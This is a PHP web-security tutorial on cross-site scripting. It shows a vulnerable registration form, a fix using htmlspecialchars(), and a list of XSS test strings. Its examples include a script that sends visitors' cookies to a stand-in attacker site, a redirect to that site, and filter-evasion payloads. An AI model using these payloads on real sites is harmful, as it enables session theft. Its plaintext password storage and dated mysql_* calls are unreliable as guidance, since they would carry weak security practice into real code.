Protecting against XSS attacks
You are currently reading my article so you are probably looking for ways to protect your PHP application. In fact, you may have already taken steps to protect your applications against XSS attacks. If you haven't taken any steps to protect against XSS attacks, it's now time to do that.
A general recommendation among web developers is to never trust user input, but protecting against XSS requires more, because any input can be dangerous. Typically you can find XSS vulnerabilities from posts on a forum, email displayed in a browser, an advertisement, stock quotes provided in a feed, and form data. The risk is not just that you trust the input, but that you assume it is safe to display to your users. You are trusted by your users, and XSS attacks exploit that trust.
To understand why displaying such data can be malicious, let's have a look at a simple registration script where people provide their username, password, email and personal statement.
register.html
Code:
<form method="post" action="register.php">
Username: <input type="text" name="username" /><br />
Password: <input type="text" name="password" /><br />
Email: <input type="text" name="email" /><br />
Personal Statement: <input type="text" name="personal" /><br />
<input type="submit" name="submit" value="Register" />
</form>
register.php
PHP Code:
<?php
if (isset($_POST["submit"]))
{
$username = mysql_real_escape_string($_POST["username"]);
$password = mysql_real_escape_string($_POST["password"]);
$email = mysql_real_escape_string($_POST["email"]);
$personal = mysql_real_escape_string($_POST["personal"]);
mysql_query("INSERT INTO members (username,password,email,personal_statement) VALUES ('$username','$password','$email','$personal');");
}
?>
Although we secure our data with mysql_real_escape_string(), we are highly vulnerable to XSS attacks. Think what happens if we dislay our user's Personal Statement in a web page. What happens if the Personal Statement is set to:
Code:
<script>alert('XSS')</script>
If we now display that Personal Statement in a web page, we will get a pop-up with text 'XSS'. This means that our website is highly vulnerable to XSS attacks. An attacker can do anything evilish. Here are some common evil code that attackers put in XSS vulnerable web pages:
Code:
<script>alert('Fuck off and get hell out of my site!')</script>
<script>window.location='http://www.attackerswebsite.com/';</script>
<script>window.location='http://www.attackerswebsite.com/steal.php?cookie_information='+document.cookie;</script>
None of the above codes will be great when executed on your web page. There are a lot you can do with XSS vulnerable web page, those were just some demonstrations.
How to protect against XSS?
As long as you are not going to allow HTML code to be posted on your website, you should be fine when you convert HTML special characters into HTML entities. You can simply use htmlspecialchars() function to do this. Here's a XSS safe version of the registeration script:
register.php
PHP Code:
<?php
if (isset($_POST["submit"]))
{
$username = htmlspecialchars(mysql_real_escape_string($_POST["username"]));
$password = htmlspecialchars(mysql_real_escape_string($_POST["password"]));
$email = htmlspecialchars(mysql_real_escape_string($_POST["email"]));
$personal = htmlspecialchars(mysql_real_escape_string($_POST["personal"]));
mysql_query("INSERT INTO members (username,password,email,personal_statement) VALUES ('$username','$password','$email','$personal');");
}
?>
You don't have to or you should not always use htmlspecialchars() function on every data user submits. It completely depends on what are you going to do with the data. If you EVER output user submited data on browser, you SHOULD use htmlspecialchars(). We probably never output $email data on the browser so we do not have to use htmlspecialchars(). And also, you can use the function htmlspecialchars() when you are going to output the data, you don't have to use htmlspecialchars() at the same moment you insert into your database. If we did not use htmlspecialchars() on our register.php script, then we can use htmlspecialchars() when ever we display user submited data like this:
PHP Code:
<?php
echo htmlspecialchars($personal); // THIS DATA IS XSS SAFE !
?>
Many people do so that they will use htmlspecialchars() function when they are going to output it on the browser. Some people user htmlentities() instead of htmlspecialchars(), but that is not clever. Htmlentities() is slower than htmlspecialchars() and htmlspecialchars() is enough to defend against XSS holes.
Testing if you are vulnerable to XSS
Whenever you have created a page where visitors can post data and it will be displayed on browser, you should take care of XSS. Here I have listed some tricky XSS codes that will tell you whether they successful or failed. If you put all of these codes on your posting form and you will get a message saying 'XSS', then you are vulnerable. If you do not get a message, it does not mean that you are 100% safe from XSS.
Code:
'';!--"<XSS>=&{()}
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC="jav ascript:alert('XSS');">
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
If you get something else instead of plain code you are vulnerable to XSS. If you are vulnerable, you must take care of it or you will get in trouble with script kiddies who will mess your website. Read the "How to protect against XSS?" part above to see how to protect yourself.
If you liked this tutorial, please feel free to
register at our forums or
donate to keep quality tutorials coming. :B